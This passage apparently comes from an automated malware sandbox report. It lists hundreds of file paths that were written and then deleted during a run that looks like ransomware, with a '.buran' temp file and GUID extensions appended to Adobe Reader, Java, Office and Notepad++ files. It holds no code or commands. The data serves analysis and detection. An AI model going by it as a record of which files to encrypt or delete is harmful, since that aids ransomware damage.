- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-hover.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-hover.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\organize.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\organize.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\over-arrow-navigation.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\over-arrow-navigation.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\remove.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\remove.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\rename.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\rename.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\SearchEmail.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\SearchEmail.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\SearchEmail2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\SearchEmail2x.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\sendforcomments.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\sendforcomments.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\sendforsignature.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\sendforsignature.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\share.svg",
- "\\??\\PIPE\\samr",
- "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
- "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
- "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
- "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
- "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
- "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
- "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
- "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
- "C:\\Windows\\sysnative\\LogFiles\\Scm\\2ce1541b-c7b1-4ba0-8974-722d18a3c54d",
- "C:\\Windows\\sysnative\\LogFiles\\Scm\\4963ad21-c4a5-42a5-b9bd-e441d57204fe",
- "C:\\Windows\\sysnative\\LogFiles\\Scm\\7bbc503c-5977-4798-a4ae-61483a7e030d",
- "C:\\Windows\\sysnative\\LogFiles\\Scm\\c4a16b32-1ab1-4b4d-8b4e-ab40140a3a25",
- "\\??\\PIPE\\lsarpc",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB657.tmp.appcompat.txt",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB71E.tmp.WERInternalMetadata.xml",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB79C.tmp.hdmp"
- * Deleted Files:
- "C:\\Users\\user\\AppData\\Local\\Temp\\1B7FDF2F.buran",
- "C:\\.doc",
- "C:\\.htm",
- "C:\\.jpeg",
- "C:\\.jpg",
- "C:\\.pptx",
- "C:\\.txt",
- "C:\\.xls",
- "C:\\Host.bmp",
- "C:\\Host.docx",
- "C:\\Host.html",
- "C:\\Host.jpeg",
- "C:\\Host.jpg",
- "C:\\Host.pdf",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\iexplore.ico",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\Oracle VM VirtualBox Guest Additions.url",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.cat",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.inf",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.cat",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.inf",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.cat",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.inf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\COPYRIGHT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\LICENSE",
- "C:\\Program Files\\Java\\jre1.8.0_201\\README.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\release",
- "C:\\Program Files\\Java\\jre1.8.0_201\\THIRDPARTYLICENSEREADME-JAVAFX.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\THIRDPARTYLICENSEREADME.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\Welcome.html",
- "C:\\Program Files\\Java\\jre1.8.0_201\\bin\\server\\classes.jsa",
- "C:\\Program Files\\Java\\jre1.8.0_201\\bin\\server\\Xusage.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\accessibility.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\calendars.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\charsets.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\classlist",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\content-types.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\currency.data",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\flavormap.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fontconfig.bfc",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fontconfig.properties.src",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\hijrah-config-umalqura.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\javafx.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\javaws.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jce.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfxswt.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jsse.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jvm.hprof.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\logging.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management-agent.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\meta-index",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\net.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\plugin.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\psfont.properties.ja",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\psfontj2d.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\resources.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\rt.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\sound.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\tzdb.dat",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\tzmappings",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\amd64\\jvm.cfg",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\CIEXYZ.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\GRAY.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\LINEAR_RGB.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\PYCC.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\sRGB.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\ffjcext.zip",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_de.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_es.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_fr.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_it.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_ja.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_ko.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_pt_BR.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_sv.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_CN.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_HK.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_TW.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\splash.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\[email protected]",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\splash_11-lic.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\[email protected]",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\access-bridge-64.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\cldrdata.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\dnsns.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\jaccess.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\jfxrt.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\localedata.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\meta-index",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\nashorn.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunec.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunjce_provider.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunmscapi.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunpkcs11.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\zipfs.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightDemiBold.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightDemiItalic.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightItalic.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightRegular.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaSansDemiBold.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaSansRegular.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaTypewriterBold.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaTypewriterRegular.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\cursors.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\invalid32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_CopyDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_LinkDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_MoveDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr\\default.jfc",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr\\profile.jfc",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\jmxremote.access",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\jmxremote.password.template",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\management.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\snmp.acl.template",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\blacklist",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\blacklisted.certs",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\cacerts",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\java.policy",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\java.security",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\javaws.policy",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\limited\\local_policy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\limited\\US_export_policy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\unlimited\\local_policy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\unlimited\\US_export_policy.jar",
- "C:\\Program Files\\Microsoft Office\\Office15\\Custom.propdesc",
- "C:\\Program Files\\Microsoft Office\\Office15\\Mso Example Setup File A.txt",
- "C:\\Program Files\\Microsoft Office\\Office15\\VisioCustom.propdesc",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\Mso Example Intl Setup File A.txt",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\Mso Example Intl Setup File B.txt",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\officeinventoryagentfallback.xml",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\officeinventoryagentlogon.xml",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnms006.inf",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15.cat",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15_win7.cat",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15_win7.inf",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote-manifest.ini",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote-PipelineConfig.xml",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote.gpd",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote.ini",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNoteNames.gpd",
- "C:\\Program Files\\Notepad++\\contextMenu.xml",
- "C:\\Program Files\\Notepad++\\functionList.xml",
- "C:\\Program Files\\Notepad++\\langs.model.xml",
- "C:\\Program Files\\Notepad++\\LICENSE",
- "C:\\Program Files\\Notepad++\\readme.txt",
- "C:\\Program Files\\Notepad++\\shortcuts.xml",
- "C:\\Program Files\\Notepad++\\stylers.model.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\actionscript.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\autoit.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\BaanC.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\batch.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\c.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cmake.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\coffee.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cpp.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cs.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\css.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\html.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\java.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\javascript.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\lisp.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\lua.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\nsis.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\perl.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\php.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\python.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\rc.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\sql.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\tex.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\vb.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\vhdl.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\xml.xml",
- "C:\\Program Files\\Notepad++\\localization\\english.xml",
- "C:\\Program Files\\Notepad++\\updater\\gup.xml",
- "C:\\Program Files\\Notepad++\\updater\\LICENSE",
- "C:\\Program Files\\Notepad++\\updater\\README.md",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Microsoft.VCLibs.x86.14.00.appx",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RDCNotificationClient.appx",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\AppCenter_R.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Certificates_R.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CollectSignatures.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Combine_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Comments.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Compare_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CPDF_Full.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CPDF_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_Exp_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_Full.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\EPDF_Full.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\EPDF_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\FillSign.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Home.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\InAppSign.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Measure.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\MoreTools.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\OptimizePDF_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Pages_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Protect_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Redact_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Review_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Scan_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Stamp.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\TrackedSend.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\UnifiedShare.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Viewer.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\eula.ini",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\stopwords.ENU",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api",
